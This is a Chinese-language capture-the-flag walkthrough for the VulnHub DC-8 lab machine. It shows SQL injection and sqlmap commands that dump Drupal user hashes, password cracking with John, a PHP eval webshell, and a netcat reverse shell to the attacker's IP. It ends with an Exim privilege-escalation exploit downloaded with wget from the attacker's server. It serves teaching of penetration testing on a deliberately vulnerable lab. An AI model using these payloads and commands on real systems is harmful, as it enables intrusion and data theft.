DC系列靶机-DC8
一,环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-8.zip
二,攻略
首先nmap一通扫;
扫描主机IP和端口;
靶机的地址是:192.168.20.150/24
仍然是只开放了80端口和22端口;
可以尝试一下目录扫描;
一眼看过去和dc7的有些类似;CMS貌似是Drupal;
点击过程中,后面的id=1,会发生变化;
这里最有可能出现的就是SQL注入;
尝试寻找注入点;
http://192.168.20.150/?nid=1%27%20or%201=1
测试SQL注入:' or 1=1--+
明显存在SQL注入漏洞;
接下来直接sqlmap跑一下;
sqlmap -u "192.168.20.150/?nid=1"
跑一下数据库;
sqlmap -u "192.168.20.150/?nid=1" --dbs
有两个数据库;
由于information_schema是MySQL的系统库,访问d7db这个数据库;
sqlmap -u "192.168.20.150/?nid=1" -D d7db --tables
访问users表;
sqlmap -u "192.168.20.150/?nid=1" --dbs -D d7db --tables -T users --columns
sqlmap -u "192.168.20.150/?nid=1" --dbs -D d7db --tables -T users --columns -C name,pass --dump
得到两条数据;用户名和密码,不过是加密的;
+--------+---------------------------------------------------------+
| name | pass |
+--------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+--------+---------------------------------------------------------+
这里可以尝试使用工具去破解密码;
在Kali Linux中,John工具被广泛应用于密码破解任务。例如,它可以用来破解Kali系统中的用户密码。具体步骤包括使用John提供的unshadow命令合并/etc/passwd和/etc/shadow的数据,然后使用John工具对生成的文件进行破解。如果遇到“未加载密码哈希”的错误,可以通过更换编译指令或手动指定加密算法来解决。此外,John工具也可以用于破解受密码保护的Zip压缩文件,通过使用zip2john工具将zip文件转换为John能够理解的哈希格式,然后进行破解。
成功破解出了一组密码;
john:turtle
尝试登录;
登录成功;
这里存在一个上传并且解析php代码的地方;
上传一句话;
<?php @eval($_POST['cmd']);?>
上传之后蚁剑无法连接;
尝试直接反弹shell;
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.20.151 4444");
?>
反弹shell连接成功;
开始进行信息收集;
首先查看passwd;
存在一个其他的用户;
sudo -l
需要密码;
find / -perm -u=s -type f 2>/dev/null
#从根目录开始查找所有具有SUID权限的普通文件
尝试suid提权;
Exim是一个MTA(Mail Transfer Agent),它的主要职责是发送、接收和路由电子邮件。作为一个邮件传输代理,Exim可以在不同的邮件服务器之间传递邮件,确保邮件能够正确地到达目的地。
查看版本;
尝试搜索一下历史的漏洞;
根据这个版本,选择46996.sh的脚本文件来提权;
searchsploit exim 4
#搜索历史的漏洞
searchsploit -m 46996.sh
vim 46996.sh
:set ff?
#查看是否为在Linux上运行的
:set ff=unix
#强制转化
保证文件可以在Linux上运行;
接下来将文件拷贝过去;
这里可以采用和dc5一样的做法;使用python搭建一个简易的服务器,将要下载的文件挂接过去;
python3 -m http.server 80
然后开始下载文件;
wget -c 192.168.20.151:80/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat
id
cd /root
cat flag.txt
在root目录下拿到最终的flag;
三,结论
对于?id=类似于这种的,尝试sql注入;
对于sql注入的自动化工具sqlmap的使用;
破解/etc/shadow中密码的工具john,可以尝试破解密码;
对于上传点,可以有不同的方式getshell,可以上传一句话,也可以直接反弹shell;
常见的提权思路;
对文件的操作过程中,选择在/tmp目录下;